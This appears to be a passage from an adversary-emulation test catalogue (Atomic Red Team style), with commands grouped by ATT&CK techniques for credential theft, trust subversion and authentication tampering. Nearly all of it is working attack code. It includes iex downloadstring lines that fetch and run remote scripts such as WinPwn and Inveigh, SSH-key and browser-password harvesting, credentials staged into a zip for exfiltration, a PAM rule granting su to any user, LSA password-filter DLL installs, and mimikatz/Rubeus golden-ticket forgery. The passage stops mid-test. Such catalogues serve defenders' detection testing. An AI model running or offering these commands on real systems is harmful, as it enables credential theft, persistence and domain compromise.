T1552.001 - Unsecured Credentials: Credentials In Files

WinPwn - sensitivefiles

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

T1552.001 - Unsecured Credentials: Credentials In Files

WinPwn - Snaffler

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput

T1552.001 - Unsecured Credentials: Credentials In Files

WinPwn - powershellsensitive

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive

T1552.001 - Unsecured Credentials: Credentials In Files

WinPwn - passhunt

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive

T1552.001 - Unsecured Credentials: Credentials In Files

WinPwn - SessionGopher

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput

T1552.001 - Unsecured Credentials: Credentials In Files

WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive

T1552.001 - Unsecured Credentials: Credentials In Files

List Credential Files via PowerShell

$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\

T1552.001 - Unsecured Credentials: Credentials In Files

List Credential Files via Command Prompt

dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\

T1552.001 - Unsecured Credentials: Credentials In Files

Find Azure credentials

find //.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null

T1552.001 - Unsecured Credentials: Credentials In Files

Find GCP credentials

find //.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null

T1552.001 - Unsecured Credentials: Credentials In Files

Find OCI credentials

find //.oci/sessions -name "token" -type f 2>/dev/null

T1552.002 - Unsecured Credentials: Credentials in Registry

Enumeration for Credentials in Registry

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

T1552.002 - Unsecured Credentials: Credentials in Registry

Enumeration for PuTTY Credentials in Registry

reg query HKCU\Software\SimonTatham\PuTTY\Sessions /t REG_SZ /s

T1552.003 - Unsecured Credentials: Bash History

Search Through Bash History

cat ~/.bash_history | grep -e '-p ' -e 'pass' -e 'ssh' > ~/loot.txt

T1552.003 - Unsecured Credentials: Bash History

Search Through sh History

cat ~/.history | grep -e '-p ' -e 'pass' -e 'ssh' > ~/loot.txt

T1552.004 - Unsecured Credentials: Private Keys

Private Keys

dir c:\ /b /s .key | findstr /e .key

T1552.004 - Unsecured Credentials: Private Keys

Discover Private SSH Keys

find / -name id_rsa 2>/dev/null >> /tmp/keyfile_locations.txt
exit 0

T1552.004 - Unsecured Credentials: Private Keys

Copy Private SSH Keys with CP

mkdir /tmp/art-staging
find / -name id_rsa 2>/dev/null -exec cp --parents {} /tmp/art-staging \;
exit 0

T1552.004 - Unsecured Credentials: Private Keys

Copy Private SSH Keys with CP (freebsd)

mkdir /tmp/art-staging
find / -name id_rsa 2>/dev/null -exec gcp --parents {} /tmp/art-staging \;

T1552.004 - Unsecured Credentials: Private Keys

Copy Private SSH Keys with rsync

mkdir /tmp/art-staging
find / -name id_rsa 2>/dev/null -exec rsync -R {} /tmp/art-staging \;
exit 0

T1552.004 - Unsecured Credentials: Private Keys

Copy Private SSH Keys with rsync (freebsd)

mkdir /tmp/art-staging
find / -name id_rsa 2>/dev/null -exec rsync -R {} /tmp/art-staging \;

T1552.004 - Unsecured Credentials: Private Keys

Copy the users GnuPG directory with rsync

mkdir /tmp/GnuPG
find / -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} /tmp/GnuPG \;
exit 0

T1552.004 - Unsecured Credentials: Private Keys

Copy the users GnuPG directory with rsync (freebsd)

mkdir /tmp/GnuPG
find / -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} /tmp/GnuPG \;

T1552.004 - Unsecured Credentials: Private Keys

ADFS token signing and encryption certificates theft - Local

Import-Module AADInternals -Force
Export-AADIntADFSCertificates
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"

T1552.004 - Unsecured Credentials: Private Keys

ADFS token signing and encryption certificates theft - Remote

Import-Module ActiveDirectory -Force
Import-Module AADInternals -Force | Out-Null
#Get Configuration
$dcServerName = (Get-ADDomainController).HostName
$svc = Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq "adfs_svc"
$PWord = ConvertTo-SecureString -String "ReallyStrongPassword" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList Administrator, $PWord
# use DCSync to fetch the ADFS service account's NT hash
$hash = Get-AADIntADUserNTHash -ObjectGuid $svc.ObjectGuid -Credentials $Credential -Server $dcServerName -AsHex
$ADFSConfig = Export-AADIntADFSConfiguration -Hash $hash -SID $svc.Objectsid.Value -Server sts.contoso.com
# Get certificates decryption key
$Configuration = [xml]$ADFSConfig
$group = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.Group
$container = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName
$parent = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn
$base = "LDAP://CN=$group,$container,$parent"
$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new($base))
$ADSearch.Filter = '(name=CryptoPolicy)'
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("displayName") | Out-Null
$aduser = $ADSearch.FindOne()
$keyObjectGuid = $ADUser.Properties["displayName"]
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("thumbnailphoto") | Out-Null
$ADSearch.Filter="(l=$keyObjectGuid)"
$aduser=$ADSearch.FindOne()
$key=[byte[]]$aduser.Properties["thumbnailphoto"][0]
# Get encrypted certificates from configuration and decrypt them
Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $key
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"

T1552.004 - Unsecured Credentials: Private Keys

CertUtil ExportPFX

IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing)
certutil.exe -p password -exportPFX Root 1F3D38F280635F275BE92B87CF83E40E40458400 c:\temp\atomic.pfx

T1552.004 - Unsecured Credentials: Private Keys

Export Root Certificate with Export-PFXCertificate

$mypwd = ConvertTo-SecureString -String "AtomicRedTeam" -Force -AsPlainText
$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
Set-Location Cert:\LocalMachine\My
Get-ChildItem -Path $cert.Thumbprint | Export-PfxCertificate -FilePath $env:Temp\atomicredteam.pfx -Password $mypwd

T1552.004 - Unsecured Credentials: Private Keys

Export Root Certificate with Export-Certificate

$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
Set-Location Cert:\LocalMachine\My
Export-Certificate -Type CERT -Cert Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath $env:Temp\AtomicRedTeam.cer

T1552.004 - Unsecured Credentials: Private Keys

Export Certificates with Mimikatz

"..\ExternalPayloads\x64\mimikatz.exe" "crypto::certificates /systemstore:local_machine /store:my /export" exit

T1552.005 - Unsecured Credentials: Cloud Instance Metadata API

Azure - Search Azure AD User Attributes for Passwords

import-module msonline
$Password = ConvertTo-SecureString -String "T1082Az" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "None", $Password
Connect-MsolService -Credential $Credential
$users = Get-MsolUser -All;
foreach($user in $users)
{$props = @();$user | Get-Member | foreach-object{$props+=$_.Name};
foreach($prop in $props)
{if($user.$prop -like "*password*")
{("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop) | out-file -filepath $env:temp\T1552.005Test1.txt -append -force}}}
get-content -path $env:temp\T1552.005Test1.txt -erroraction silentlycontinue

T1552.005 - Unsecured Credentials: Cloud Instance Metadata API

Azure - Dump Azure Instance Metadata from Virtual Machines

Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 > $env:temp\T1552.005Test2.txt

T1552.006 - Unsecured Credentials: Group Policy Preferences

GPP Passwords (findstr)

findstr /S cpassword %logonserver%\sysvol\*.xml

T1552.006 - Unsecured Credentials: Group Policy Preferences

GPP Passwords (Get-GPPPassword)

. "..\ExternalPayloads\Get-GPPPassword.ps1"
Get-GPPPassword -Verbose

T1552.007 - Kubernetes List Secrets

List All Secrets

kubectl get secrets --all-namespaces

T1552.007 - Kubernetes List Secrets

ListSecrets

kubectl get secrets -n default

T1552.007 - Kubernetes List Secrets

Cat the contents of a Kubernetes service account token file

kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token

T1552 - Unsecured Credentials

AWS - Retrieve EC2 Password Data using stratus

export AWS_REGION=us-west-2
cd $T1552/src
echo "starting warmup"
./stratus warmup aws.credential-access.ec2-get-password-data
echo "starting detonate"
./stratus detonate aws.credential-access.ec2-get-password-data --force

T1552 - Unsecured Credentials

Search for Passwords in Powershell History

ls -R C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt | Select-String "password", "-p", "key", "pwd", "pass"

T1553.001 - Subvert Trust Controls: Gatekeeper Bypass

Gatekeeper Bypass

xattr -d com.apple.quarantine myapp.app

T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking

SIP (Subject Interface Package) Hijacking via Custom DLL

regsvr32.exe T1553.003\bin\GTSIPProvider.dll

T1553.004 - Subvert Trust Controls: Install Root Certificate

Install root CA on CentOS/RHEL

openssl genrsa -out rootCA.key 4096
openssl req -x509 -new -nodes -key rootCA.key -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out rootCA.crt
cp rootCA.crt /etc/pki/ca-trust/source/anchors/
update-ca-trust

T1553.004 - Subvert Trust Controls: Install Root Certificate

Install root CA on FreeBSD

openssl genrsa -out rootCA.key 4096
openssl req -x509 -new -nodes -key rootCA.key -sha256 -days 365 -subj "/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com" -out rootCA.crt
cp rootCA.crt /usr/local/share/certs/
certctl rehash

T1553.004 - Subvert Trust Controls: Install Root Certificate

Install root CA on Debian/Ubuntu

mv rootCA.crt /usr/local/share/ca-certificates
sudo update-ca-certificates

T1553.004 - Subvert Trust Controls: Install Root Certificate

Install root CA on macOS

sudo security add-trusted-cert -d -r trustRoot -k "/Library/Keychains/System.keychain" "rootCA.crt"

T1553.004 - Subvert Trust Controls: Install Root Certificate

Install root CA on Windows

$cert = Import-Certificate -FilePath rootCA.cer -CertStoreLocation Cert:\LocalMachine\My
Move-Item -Path $cert.PSPath -Destination "Cert:\LocalMachine\Root"

T1553.004 - Subvert Trust Controls: Install Root Certificate

Install root CA on Windows with certutil

certutil -addstore my $env:Temp\rootCA2.cer

T1553.004 - Subvert Trust Controls: Install Root Certificate

Add Root Certificate to CurrentUser Certificate Store

IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing)

T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass

Mount ISO image

Mount-DiskImage -ImagePath "T1553.005\bin\T1553.005.iso"

T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass

Mount an ISO image and run executable from the ISO

Mount-DiskImage -ImagePath "T1553.005\bin\FeelTheBurn.iso" -StorageType ISO -Access ReadOnly
$keep = Get-Volume -FileSystemLabel "TestIso"
$driveLetter = ($keep | Get-Volume).DriveLetter
invoke-item "$($driveLetter):\hello.exe"

T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass

Remove the Zone.Identifier alternate data stream

Unblock-File -Path $env:tmp\ReadMe.md

T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass

Execute LNK file from ISO

Mount-DiskImage -ImagePath "T1553.005\bin\AllTheThings.iso" -StorageType ISO -Access ReadOnly
$keep = Get-Volume -FileSystemLabel "AllTheThings"
$driveLetter = ($keep | Get-Volume).DriveLetter
$instance = [activator]::CreateInstance([type]::GetTypeFromCLSID("{c08afd90-f2a1-11d1-8455-00a0c91f3880}"))
$instance.Document.Application.ShellExecute($driveLetter+":\document.lnk","",$driveLetter+":\",$null,0)

T1553.006 - Subvert Trust Controls: Code Signing Policy Modification

Code Signing Policy Modification

bcdedit /set testsigning on

T1555.001 - Credentials from Password Stores: Keychain

Keychain Dump

sudo security dump-keychain -d login.keychain

T1555.001 - Credentials from Password Stores: Keychain

Export Certificate Item(s)

security find-certificate -a -p > /tmp/certs.pem

T1555.001 - Credentials from Password Stores: Keychain

Import Certificate Item(s) into Keychain

security import /tmp/certs.pem -k

T1555.001 - Credentials from Password Stores: Keychain

Copy Keychain using cat utility

cat ~/Library/Keychains/login.keychain-db > /tmp/keychain

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

Run Chrome-password Collector

Start-Process "..\ExternalPayloads\Sysinternals\accesschk.exe" -ArgumentList "-accepteula ."

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

Search macOS Safari Cookies

cd ~/Library/Cookies
grep -q "coinbase" "Cookies.binarycookies"

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

LaZagne - Credentials from Browser

"T1555.003\bin\LaZagne.exe" browsers

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

Simulating access to Chrome Login Data

Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -Destination "..\ExternalPayloads"
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account" -Destination "..\ExternalPayloads"

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

Simulating access to Opera Login Data

Copy-Item "$env:APPDATA\Opera Software\Opera Stable\Login Data" -Destination "..\ExternalPayloads"

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

Simulating access to Windows Firefox Login Data

Copy-Item "$env:APPDATA\Mozilla\Firefox\Profiles\" -Destination "..\ExternalPayloads" -Force -Recurse

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

Simulating access to Windows Edge Login Data

Copy-Item "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default" -Destination "..\ExternalPayloads\Edge" -Force -Recurse

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

Decrypt Mozilla Passwords with Firepwd.py

$PasswordDBLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*.default-release\"
cmd /c ..\ExternalPayloads\venv_t1555.004\Scripts\python.exe ..\ExternalPayloads\venv_t1555.004\Scripts\Firepwd.py -d $PasswordDBLocation > $env:temp\T1555.003Test8.txt
cat $env:temp\T1555.003Test8.txt

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

LaZagne.py - Dump Credentials from Firefox Browser

python3 /tmp/LaZagne/Linux/laZagne.py browsers -firefox >> /tmp/firefox_password.txt

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

Stage Popular Credential Files for Exfiltration

$exfil_folder = "$env:temp\T1555.003"
if (test-path "$exfil_folder") {} else {new-item -path "$env:temp" -Name "T1555.003" -ItemType "directory" -force}
$FirefoxCredsLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*.default-release\"
if (test-path "$FirefoxCredsLocation\key4.db") {copy-item "$FirefoxCredsLocation\key4.db" -destination "$exfil_folder\T1555.003Firefox_key4.db"} else {}
if (test-path "$FirefoxCredsLocation\logins.json") {copy-item "$FirefoxCredsLocation\logins.json" -destination "$exfil_folder\T1555.003Firefox_logins.json"} else {}
if (test-path "$env:localappdata\Google\Chrome\User Data\Default\Login Data") {copy-item "$env:localappdata\Google\Chrome\User Data\Default\Login Data" -destination "$exfil_folder\T1555.003Chrome_Login Data"} else {}
if (test-path "$env:localappdata\Google\Chrome\User Data\Default\Login Data For Account") {copy-item "$env:localappdata\Google\Chrome\User Data\Default\Login Data For Account" -destination "$exfil_folder\T1555.003Chrome_Login Data For Account"} else {}
if (test-path "$env:appdata\Opera Software\Opera Stable\Login Data") {copy-item "$env:appdata\Opera Software\Opera Stable\Login Data" -destination "$exfil_folder\T1555.003Opera_Login Data"} else {}
if (test-path "$env:localappdata/Microsoft/Edge/User Data/Default/Login Data") {copy-item "$env:localappdata/Microsoft/Edge/User Data/Default/Login Data" -destination "$exfil_folder\T1555.003Edge_Login Data"} else {}
compress-archive -path "$exfil_folder" -destinationpath "$exfil_folder.zip" -force

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

WinPwn - BrowserPwn

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
browserpwn -consoleoutput -noninteractive

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

WinPwn - Loot local Credentials - mimi-kittenz

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
kittenz -consoleoutput -noninteractive

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

WinPwn - PowerSharpPack - Sharpweb for Browser Credentials

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Sharpweb.ps1')
Invoke-Sharpweb -command "all"

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

Simulating Access to Chrome Login Data - MacOS

cp ~/Library/"Application Support/Google/Chrome/Default/Login Data" "/tmp/T1555.003_Login Data"
cp ~/Library/"Application Support/Google/Chrome/Default/Login Data For Account" "/tmp/T1555.003_Login Data For Account"

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

WebBrowserPassView - Credentials from Browser

Start-Process "T1555.003\bin\WebBrowserPassView.exe"
Start-Sleep -Second 4
Stop-Process -Name "WebBrowserPassView"

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

BrowserStealer (Chrome / Firefox / Microsoft Edge)

$profile = (Gci -filter "*default-release*" -path $env:Appdata\Mozilla\Firefox\Profiles\).FullName
Copy-Item $profile\key4.db -Destination "..\ExternalPayloads" > $null
Copy-Item $profile\logins.json -Destination "..\ExternalPayloads" > $null
Remove-Item $profile\key4.db > $null
Remove-Item $profile\logins.json > $null
Copy-Item "$env:T1555.003\src\key4.db" -Destination $profile\ > $null
Copy-Item "$env:T1555.003\src\logins.json" -Destination $profile\ > $null
cd "$env:T1555.003\bin"
""|.\BrowserCollector.exe

T1555.003 - Credentials from Password Stores: Credentials from Web Browsers

Dump Chrome Login Data with esentutl

esentutl.exe /y "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" /d "%temp%\T1555.003_Login_Data.tmp"

T1555.004 - Credentials from Password Stores: Windows Credential Manager

Access Saved Credentials via VaultCmd

vaultcmd /listcreds:"Windows Credentials"

T1555.004 - Credentials from Password Stores: Windows Credential Manager

WinPwn - Loot local Credentials - Invoke-WCMDump

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1')
Invoke-WCMDump

T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores

Azure - Dump All Azure Key Vaults with Microburst

import-module "..\ExternalPayloads\Get-AzurePasswords.ps1"
$Password = ConvertTo-SecureString -String "T1082Az" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "None", $Password
Connect-AzureRmAccount -Credential $Credential
Get-AzurePasswords -subscription 'None' > $env:temp\T1528Test1.txt
cat $env:temp\T1528Test1.txt

T1555 - Credentials from Password Stores

Extract Windows Credential Manager via VBA

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "T1555\src\T1555-macrocode.txt" -officeProduct "Word" -sub "Extract"

T1555 - Credentials from Password Stores

Dump credentials from Windows Credential Manager With PowerShell [windows Credentials]

IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-PasswordVaultCredentials -Force

T1555 - Credentials from Password Stores

Dump credentials from Windows Credential Manager With PowerShell [web Credentials]

IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-CredManCreds -Force

T1555 - Credentials from Password Stores

Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Windows Credentials]

vaultcmd /listcreds:"Windows Credentials" /all

T1555 - Credentials from Password Stores

Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Web Credentials]

vaultcmd /listcreds:"Web Credentials" /all

T1555 - Credentials from Password Stores

WinPwn - Loot local Credentials - lazagne

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
lazagnemodule -consoleoutput -noninteractive

T1555 - Credentials from Password Stores

WinPwn - Loot local Credentials - Wifi Credentials

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
wificreds -consoleoutput -noninteractive

T1555 - Credentials from Password Stores

WinPwn - Loot local Credentials - Decrypt Teamviewer Passwords

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
decryptteamviewer -consoleoutput -noninteractive

T1556.002 - Modify Authentication Process: Password Filter DLL

Install and Register Password Filter DLL

reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "T1556.002\lsa_backup.reg"
$passwordFilterName = (Copy-Item "T1556.002\bin\AtomicRedTeamPWFilter.dll" -Destination "C:\Windows\System32" -PassThru).basename
$lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
$notificationPackagesValues = $lsaKey.GetValue("Notification Packages")
$notificationPackagesValues += $passwordFilterName
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $notificationPackagesValues

T1556.002 - Modify Authentication Process: Password Filter DLL

Install Additional Authentication Packages

reg.exe export HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ "T1556.002\lsa_backup.reg"
$passwordFilterName = (Copy-Item "T1556.002\bin\AtomicRedTeamPWFilter.dll" -Destination "C:\Windows\System32" -PassThru).basename
$lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
$AuthenticationPackagesValues = $lsaKey.GetValue("Authentication Packages")
$AuthenticationPackagesValues += $passwordFilterName
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Authentication Packages" $AuthenticationPackagesValues

T1556.003 - Modify Authentication Process: Pluggable Authentication Modules

Malicious PAM rule

sudo sed -i "1s,^,auth sufficient pam_succeed_if.so uid >= 0\n,g" /etc/pam.d/su-l

T1556.003 - Modify Authentication Process: Pluggable Authentication Modules

Malicious PAM rule (freebsd)

sudo sed -i "" "8s,^,auth sufficient pam_succeed_if.so uid >= 0\n,g" /etc/pam.d/su

T1556.003 - Modify Authentication Process: Pluggable Authentication Modules

Malicious PAM module

sudo sed -i "1s,^,auth sufficient /tmp/pam_evil.so\n,g" /etc/pam.d/su-l

T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay

LLMNR Poisoning with Inveigh (PowerShell)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/82be2377ade47a4e325217b4144878a59595e750/Inveigh.ps1" -UseBasicParsing)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -MDNS Y -HTTPS Y -PROXY Y

T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket

Crafting Active Directory golden tickets with mimikatz

Remove-Item $env:TEMP\golden.bat -ErrorAction Ignore
Remove-Item $env:TEMP\golden.txt -ErrorAction Ignore

# get current domain SID if default was used
$domain_sid = "S-1-5-21-DEFAULT"
If ($domain_sid -Match "DEFAULT") {
# code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60
$domain = gwmi Win32_ComputerSystem | Select -Expand Domain
$krbtgtSID = (New-Object Security.Principal.NTAccount $domain\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value
$domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))
}

# create batch file with commands to run in a separate "runas /netonly" session
# so we don't purge Kerberos ticket from the current Windows session
# its output goes to golden.txt temp file, because we cannot capture "runas /netonly" output otherwise
@"
>%TEMP%\golden.txt 2>&1 (
echo Purge existing tickets and create golden ticket:
klist purge
..\ExternalPayloads\mimikatz\x64\mimikatz.exe "kerberos::golden /domain:%userdnsdomain% /sid:DOMAIN_SID /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 /user:goldenticketfakeuser /ptt" "exit"

echo.
echo Requesting SYSVOL:
dir \\%userdnsdomain%\SYSVOL

echo.
echo Tickets after requesting SYSVOL:
klist

echo.
echo End of Golden Ticket attack
)
"@ -Replace "DOMAIN_SID", $domain_sid | Out-File -Encoding OEM $env:TEMP\golden.bat

# run batch file in a new empty session (password and username do not matter)
echo "foo" | runas /netonly /user:fake "$env:TEMP\golden.bat" | Out-Null

# wait until the output file has logged the entire attack
do {
Start-Sleep 1 # wait a bit so the output file has time to be created
Get-Content -Path "$env:TEMP\golden.txt" -Wait | ForEach-Object {
if ($_ -match 'End of Golden Ticket attack') { break }
}
} while ($false) # dummy loop so that 'break' can be used

# show output from new empty session
Get-Content $env:TEMP\golden.txt

# cleanup temp files
Remove-Item $env:TEMP\golden.bat -ErrorAction Ignore
Remove-Item $env:TEMP\golden.txt -ErrorAction Ignore

T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket

Crafting Active Directory golden tickets with Rubeus

Remove-Item $env:TEMP\golden.bat -ErrorAction Ignore
Remove-Item $env:TEMP\golden.txt -ErrorAction Ignore

cmd.exe /c "$Env:temp\rubeus.exe" golden /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 /ldap /user:$ENV:username /dc:$($ENV:logonserver.TrimStart('\') + "." + "$ENV:userdnsdomain") /printcmd /outfile:golden
$filename = (Get-ChildItem | ? {$_.Name.startswith("golden_")} | Sort-Object -Descending -Property LastWriteTime | select -First 1).Name

# create batch file with commands to run in a separate "runas /netonly" session
# so we don't purge Kerberos ticket from the current Windows session
# its output goes to golden.txt temp file, because we cannot capture "runas /netonly" output otherwise
@"
>%TEMP%\golden.txt 2>&1 (
echo Purge existing tickets and create golden ticket:
klist purge
cd %temp%
"$Env:temp\rubeus.exe" ptt /ticket:kirbifile

echo.
echo Requesting SYSVOL:
dir \\$($ENV:logonserver.TrimStart('\') + "." + "$ENV:userdnsdomain")\SYSVOL

echo.
echo Tickets after requesting SYSVOL:
klist

echo.
echo End of Golden Ticket attack
)
"@ -Replace "kirbifile", $filename | Out-File -Encoding OEM $env:TEMP\golden.bat

# run batch file in a new empty session (password and username do not matter)
echo "foo" | runas /netonly /user:fake "$env:TEMP\golden.bat" | Out-Null

# wait until the output file has logged the entire attack
do {
Start-Sleep 1 # wait a bit so the output file has time to be created
Get-Content -Path "$env:TEMP\golden.txt" -Wait | ForEach-Object {
if ($_ -match 'End of Golden Ticket attack') { break }
}
} while ($false) # dummy loop so that 'break' can be used

# show output from new empty session
Get-Content $env:TEMP\golden.txt

# cleanup temp files
Remove-Item $env:TEMP\golden.bat -ErrorAction Ignore
Remove-Item $env:TEMP\golden.txt -ErrorAction Ignore

T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket

Crafting Active Directory silver tickets with mimikatz

Remove-Item $env:TEMP\silver.bat -ErrorAction Ignore
Remove-Item $env:TEMP\silver.txt -ErrorAction Ignore

# get current domain SID if default was used
$domain_sid = "S-1-5-21-DEFAULT"
If ($domain_sid -Match "DEFAULT") {
# code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60
